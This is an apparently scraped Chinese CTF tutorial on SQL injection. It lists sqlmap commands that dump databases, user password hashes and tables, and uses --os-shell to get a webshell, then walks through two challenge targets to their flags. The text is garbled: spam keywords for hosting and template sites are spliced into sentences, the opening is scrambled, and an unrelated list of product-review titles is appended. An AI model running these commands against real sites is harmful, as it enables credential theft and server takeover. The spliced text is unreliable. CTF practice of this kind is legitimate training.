在CTF比赛中一定会存在一道SQL注入题 ,中注入SQL注入作为OWASP中排名第一的通S题分高危漏洞,作为网络攻防对抗最热门的中注入技术知识,在很多大型CTF比赛中都会出现考题,通S题分虽然形势有所变化,中注入但万变不离其宗 ,通S题分只要掌握了核心知识,中注入就能从容应对 。通S题分 一、中注入SQL注入解题思路存在SQL注入的通S题分题目 ,基本都会有参数传入,中注入比如index.php?通S题分id=1这类的,其主要思路如下: 1.认真阅读题目,香港云服务器中注入一般来讲CTF比赛都会或多或少给出一些提示。通S题分因此要从字里行间去体会 ,中注入这个需要经验的记录 。 2.对目标地址进行漏洞扫描 。可以通过AWVS等工具进行漏洞扫描,如果存在SQL注入一般都能扫描到 。不过使用扫描工具特别耗费时间,在CTF比赛中时间很宝贵。 3.直接对目标进行手工测试 。针对不同类型编程语言,进行手工注册测试 ,确认存在漏洞后,可以使用sqlmap进行快速利用。 4.使用sqlmap来进行注入漏洞的测试及数据获取。建站模板 二、SQL注入方法1.使用havij注入工具进行url地址注入测试2.使用pangonlin注入攻击进行url地址注入测试3.使用WebCruiser进行扫描并进行url注入测试4.sqlmap注入常用命令(1)列数据库信息:--dbs (2)web当前使用的数据库--current-db (3)web数据库使用账户 --current-user (4)列出sqlserver所有用户 --users (5)数据库账户与密码 --passwords (6)指定库名列出所有表 -D database --tables -D :指定数据库名称 (7)指定库名表名列出所有字段 -D antian365 -T admin --columns -T :指定要列出字段的表 (8)指定库名表名字段dump出指定字段 -D secbang_com -T admin -C id,password ,username --dump -D antian365 -T userb -C "email,Username,userpassword" --dump 可加双引号,也可不加双引号 。 (9)导出多少条数据 -D tourdata -T userb -C "email,Username,userpassword" --start 1 --stop 10 --dump 参数: --start :指定开始的行 --stop :指定结束的行 此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容 。 三、ctf实战php sql注入1.题目分析目标地址 :http://106.75.114.94:9005/index.php?id=1 ,如图1所示,服务器租用提示flag在数据库中,根据这个信息判断,该题考查的为sql注入。
图1题目分析 2.使用sqlmap进行sql注入测试(1)确认sql注入漏洞 执行命令 :sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 ,如图2所示 ,sqlmap识别出get参数存在三种类型的sql注入,数据库为MySQL ,操作系统为Linux。
图2确认sql注入漏洞 (2)排除系统数据库 ,获取所有数据 执行命令sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -a --exclude-sysdbs ,获取所有的数据 ,除系统数据库外,如图3所示,免费模板该方法适合懒人。
图3获取所有数据 3.获取flag在sqlmap执行完毕后 ,可以查看其数据库中的内容,如图4所示,成功获取其flag值:flag{ b4d933ca-e1cc-43ef-80de-0749b0a2a8fe}。
图4获取flag值 4.总结前面提及的方法是最简便,最省事的一种获取方法,如果数据库中数据太多 ,前面的方法就比较耗费时间。常规解题思路为 : (1)sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 --dbs --is-dba --current-user (2)root账号可以直接获取webshell sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 --os-shell (3)获取数据库表 sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli --tables (4)看表列名 sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli -T info --columns (5)导出数据内容 sqlmap.py -u http://106.75.114.94:9005/index.php?id=1 -D sqli -T info --dump 四 、ctf实战asp sql注入对于提供了参数的亿华云url地址来讲,其sql注入相对简单,直接使用sqlmap就可以搞定 ,关键必须熟悉sqlmap的常用命令 。在本题中给出的是asp编程脚本站点,题目地址为 :http://10.2.66.50:8133/show.asp?id=2 。 1.漏洞点测试执行python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2,如图5所示,sqlmap对注入点进行漏洞测试 。
图5进行漏洞测试 2.获取数据库名称执行命令python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db,如图6所示 ,可以看到参数id存在三种类型的sql注入漏洞 ,源码库其当前数据库名称为“tourdata” 。
图6获取数据库名称及漏洞类型 3.获取表名python sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata --tables,如图7所示,可以看到数据库类型为Microsoft SQL Server 2000,操作系统为Windows 2003 or XP,数据库中共有四个表,其中有三个表为系统表 ,news为目标表。
图7获取数据库表 4.获取数据内容执行命令sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata -T news --columns来获取列名,也可以只用sqlmap.py -u http://10.2.66.50:8133/show.asp?id=2 --current-db -D tourdata -T news --dump命令直接获取数据库表news中的所有内容 ,如图8所示,成功获取flag值为 :52c6f1d691661456b3f51d2760179209。
图8获取flag值 |
健身餐市场(健身人群的增加,为健身餐市场带来爆发式增长)HTCOneM9(探索HTCOneM9的功能和性能,了解其优势与不足)魅蓝系列机子的性能与用户体验(探究魅蓝系列机子的亮点与不足)全网通苹果7手机的功能和性能评测(全网通苹果7手机的优势和劣势分析)以令令开门(用令令开门,打开幸福之门)探索Primera的发展和特点(Primera)红米Note4X导航功能全面评测(探索红米Note4X导航功能的便利与准确性)宏达主板(优质材料与创新技术相结合,为您带来卓越的性能体验)腾龙10-24(全新升级的画质与音效,让你沉浸在电影的魅力之中)联想U410超极本的性能和用户体验如何?(深入解析联想U410超极本的优势和不足)b2b信息平台网站建设云服务器企业服务器亿华云香港物理机源码库